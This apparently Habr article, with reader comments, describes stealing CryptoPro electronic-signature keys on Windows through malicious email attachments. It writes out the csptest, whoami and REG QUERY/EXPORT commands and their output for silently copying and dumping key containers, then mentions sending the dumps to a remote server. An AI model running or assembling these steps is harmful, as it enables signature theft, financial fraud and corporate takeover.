В эпоху цифровизации корпоративных процессов электронные подписи стали важнейшим инструментом для подтверждения легитимности документов. Однако на практике существует реальная угроза компрометации этих подписей, особенно через распространённые каналы, такие как рассылки с вложениями, через которые осуществляется более 90% успешных атак.

Что может произойти при компрометации электронной подписи? Возможные последствия:

  • Потеря средств на банковском счете. Злоумышленники могут провести незаконные переводы, подписав все платёжные документы вашей электронной подписью. Доказать факт кражи будет невозможно, поскольку все транзакции будут легитимно подписаны и признаны действительными.

  • Потеря имущества. С помощью украденной подписи можно создать фальшивый договор, например, по продаже имущества компании, что приведет к значительным финансовым потерям.

  • Срыв сделок. Если банк заблокирует счет на фоне подозрительных транзакций, вы не сможете выполнить оплату или получить деньги. Такие инциденты могут остановить деловые операции на неопределённый срок, сорвав сделки.

  • Порча репутации. Кражей подписи злоумышленники могут подписать фиктивные заявки на тендеры с невыгодными условиями. Это не только приведёт к отказу от сделки и попаданию в реестр недобросовестных поставщиков, но и приведёт к финансовым потерям.

  • Рейдерский захват компании. Используя подпись ключевого сотрудника, злоумышленники могут изменить устав, назначить нового руководителя или ослабить компанию другими способами, что создаст угрозу для её стабильности и контроля.

  • Потеря имущества сотрудника. Злоумышленники могут использовать электронную подпись для подписания фиктивных сделок с недвижимостью или другими активами. В случае признания сделки действительной, сотрудник может подать иск к работодателю, требуя компенсации ущерба, что приведет к ответственности компании за нарушение обязательств по обеспечению информационной безопасности.

В статье описан реальный, протестированный на лабораторном стенде механизм компрометации подписи, который может привести к серьёзным последствиям.

Описание угрозы

Общий обзор:

  1. Сотрудник организации получает письмо от поставщика. Вложение может быть любым — накладная, акт сверки, претензия. За маской файла может скрываться:

    • макрос в *.docm;

    • скрипт PowerShell, *.hta или *.vbs;

    • самораспаковывающийся архив;

    • или даже *.lnk, запускающий цепочку вызовов;

  2. При запуске вложения на рабочей машине запускается скрипт или исполняемый файл, который последовательно:

    • Получает список установленных контейнеров;

    • Копирует содержимое контейнеров в реестр;

    • Извлекает данные ключей из реестра;

  3. Данные отправляются на удалённый сервер, что позволяет собрать полный набор криптографической информации для дальнейшего использования.

Технические детали алгоритма

Рассмотрим реализацию алгоритма на примере операционной системы Windows, поскольку, несмотря на импортозамещение, именно эта платформа остается наиболее распространенной для работы с электронным документооборотом.

Выгрузка ключей осуществляется в несколько этапов. Каждый из них может включать различные механизмы и дополнительные меры для повышения отказоустойчивости, однако общий алгоритм примерно следующий:

Получение списка контейнеров через утилиту КриптоПро

csptest -keyset -enum_cont -verifycontext –fqcn
CSP (Type:80) v5.0.10008 KC1 Release Ver:5.0.12000 OS:Windows CPU:AMD64 FastCode:READY:AVX.
AcquireContext: OK. HCRYPTPROV: 995157792
\\.\FAT12_E\d58fe6c13-d917-2a53-8e9c-8c4b8158220
OK.
Total: SYS: 0,063 sec USR: 0,016 sec UTC: 0,086 sec
[ErrorCode: 0x00000000]

Вывод содержит пути к контейнерам — как локальным, так и внешним. Имена контейнеров можно легко выделить с помощью регулярных выражений.

Подстановка значений и копирование контейнеров в реестр

csptest -keycopy -contsrc "<исходный_контейнер>" -contdest "<конечный_контейнер >" –silent
CryptAcquireContext succeeded.HCRYPTPROV: 4014360096
CryptAcquireContext succeeded.HCRYPTPROV: 4014640432
Total: SYS: 0,094 sec USR: 0,094 sec UTC: 0,271 sec
[ErrorCode: 0x00000000]

Команда выполняется в «тихом» режиме, что позволяет избежать появления уведомлений, таких как запрос на вставку токена или ввод пароля, что важно для скрытности операции. Обратите внимание на код ошибки — его можно использовать для отслеживания результата выполнения и внесения изменений в алгоритм. Например:

  • код 0x8009000f — попытка скопировать запароленный контейнер без указания пароля;

  • 0x8010006e — пользователь отклонил запрос на ввод пароля;

  • 0x00000000 — операция успешна, можно переходить к следующему этапу.

Получение SID пользователя

whoami /user

SID необходим для определения пути в реестре, где хранятся ключи. Также легко выделяется с помощью регулярных выражений.

Извлечение ключей из реестра:

Ключи извлекаются с помощью команды REG QUERY, в путь к ветке реестра подставляются SID и имя извлекаемого контейнера.

REG QUERY "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>"
name.key         REG_BINARY    30261624643538...
header.key       REG_BINARY    308205B5308203...
primary.key      REG_BINARY    308205B5308205...
masks.key        REG_BINARY    30360420CA74D3...
primary2.key     REG_BINARY    302204201675D2...
masks2.key       REG_BINARY    303604208A0E18...

Вывод содержит ключи, которые нужно будет слегка преобразовать.

Либо можно экспортировать ветку реестра используя REG EXPORT, в этом случае данные будут экспортированы в готовом виде в отдельный REG-файл, который можно считать или отправить целиком.

REG EXPORT "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>" "C:\Users\User\branch.reg"

Отправка данных на удалённый сервер

Дампы можно отправлять по сети (HTTP, SMTP, FTP). Такой трафик легко маскируется и не вызывает подозрений.

Теперь достаточно подставить полученные ключи в реестр и протестировать их доступность.

Альтернативный вектор: использование ЭП без копирования

Даже если контейнер невозможно скопировать (например, он помечен как неэкспортируемый), злоумышленник может использовать криптопровайдер для подписания документов локально и отправки их на удалённый сервер. Это особенно опасно, так как не требует взлома токена, но компрометирует его владельца.

PIN-код? Мы просто подождём

Опираясь на коды ошибок, можно определить, что контейнер запаролен, и перевести программу в режим ожидания, ожидая ввод пароля (например, 4–8 цифр).

Это не brute-force — это passive listening.

Какие языки используются

Реализовать алгоритм можно на любом языке, способном выполнять команды, работать с командной строкой и отправлять HTTP-запросы:

Чаще всего применяются:

  • C / C++

  • PowerShell

  • Python

  • VBS

Заключение

Представленный механизм — это не гипотеза, а проверенный на практике алгоритм, успешно протестированный на лабораторном стенде. Угроза утечки электронной подписи и её удалённого использования реальна, и её недооценка может привести к серьёзным последствиям.

Подпись можно не только скопировать, но и использовать без ведома владельца, обходя сложные эксплойты и обманывая системы безопасности без необходимости привлечения хакеров из даркнета.

Алгоритм, описанный в статье, прост для реализации и не требует глубоких технических знаний. С использованием современных инструментов, таких как ChatGPT, весь процесс можно автоматизировать — от парсинга данных до их конвертации.

Комментарии (13)


  1. sukharichev
    15.06.2025 10:49

    Ну хорошо, напугать напугали, а где настоящие подробности? Такой скриптик-то и я напишу. На вашем тестовом стенде был антивирус или Edr\xdr или какие-то другие агенты\технологии безопасности? И они все прям ничего не видели и молчали?

    ...и раз уж тут речь и про юридические аспекты, можно ссылки на правоприменительную практику - были ли суды со схожими обстоятельствами, по какой статье велось дело, каков результат?

    А ну и главное - что делать-то? А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

    То есть я согласен, что это прям проблема и в компаниях с эцп бардак, угрозы есть, но хотелось бы условий более приближенных к боевым и выводов поконкретней


    1. Uporoty
      15.06.2025 10:49

      А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

      и слава господу, что нет :)


    1. NickNill
      15.06.2025 10:49

      Обычную подпись подделать легче, были ли суды? Были, но говорят сложно что-то доказать


      1. EazzyBuzzy
        15.06.2025 10:49

        По идее, подчерковедческая экспертиза закрывает вопрос.


    1. atd
      15.06.2025 10:49

      Судя по оформлению с помощью списков, вам не ответят, LLM ещё не научили писать комментарии.


  1. Playa
    15.06.2025 10:49

    Ну и на кой эта статья в хабе C++?


  1. NutsUnderline
    15.06.2025 10:49

    в заголовке слова ЧУТЬ не хватает


  1. RoasterToaster
    15.06.2025 10:49

    На самом деле этот ящик Пандоры только открывается. ЭЦП сейчас только ленивый бухгалтер не копирует, обычно директорские ЭЦП на рдп серверах десятками висят.

    ФНС открестился от проблемы просто: сказал что копировать ЭЦП запрещено и всё. Из разряда высказаться за все хорошее против всего плохого.

    Возможно что много копий, уже полученных злоумышленниками, просто ждут какого то изменения в законодательстве для захвата имущества.

    Скрытая электронная угроза. Враг в токене ЭЦП


    1. Popadanec
      15.06.2025 10:49

      Чисто в теории, ЭП защищена от кражи с аппаратного токена, но она же как то перезаписывается удалённо при устаревании, значит и блокировка программная.


      1. digrobot
        15.06.2025 10:49

        При перевыпуске ЭЦП токен внутри себя генерирует новый ключ, и выдает наружу CSR (Certificate Signing Request), который отправляется в удостоверяющий центр.
        Т.е. если все сделано как положено, приватный ключ никогда не покидает токен, и скопировать ЭЦП нельзя.


        1. santjagocorkez
          15.06.2025 10:49

          Ключ нет необходимости каждый раз перегенерировать, если речь не об утечке (подборе) закрытой части. На основе того же старого, как мощи царя Соломона, ключа можно просто запросить новый сертификат (csr->cer/crt). А сертификат по определению публичен.


  1. Yozh-lyudoyed
    15.06.2025 10:49

    Извините, я не в теме. Ключи что, в открытом виде в реестре хранятся? Они никак не шифруются?


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Да, все верно. Вы можете проверить самостоятельно - сгенерируйте тестовую подпись на usb носитель, скопируйте ее в реестр, выделите ветку реестра с подписью и экспортируйте в виде *.reg файла. Перенесите этот файл на другой компьютер, замените SID на текущего пользователя и импортируйте в реестр. Этот метод широко практикуется в крупных компаниях, когда нужно на рабочее место установить пул подписей, например бухгалтеру.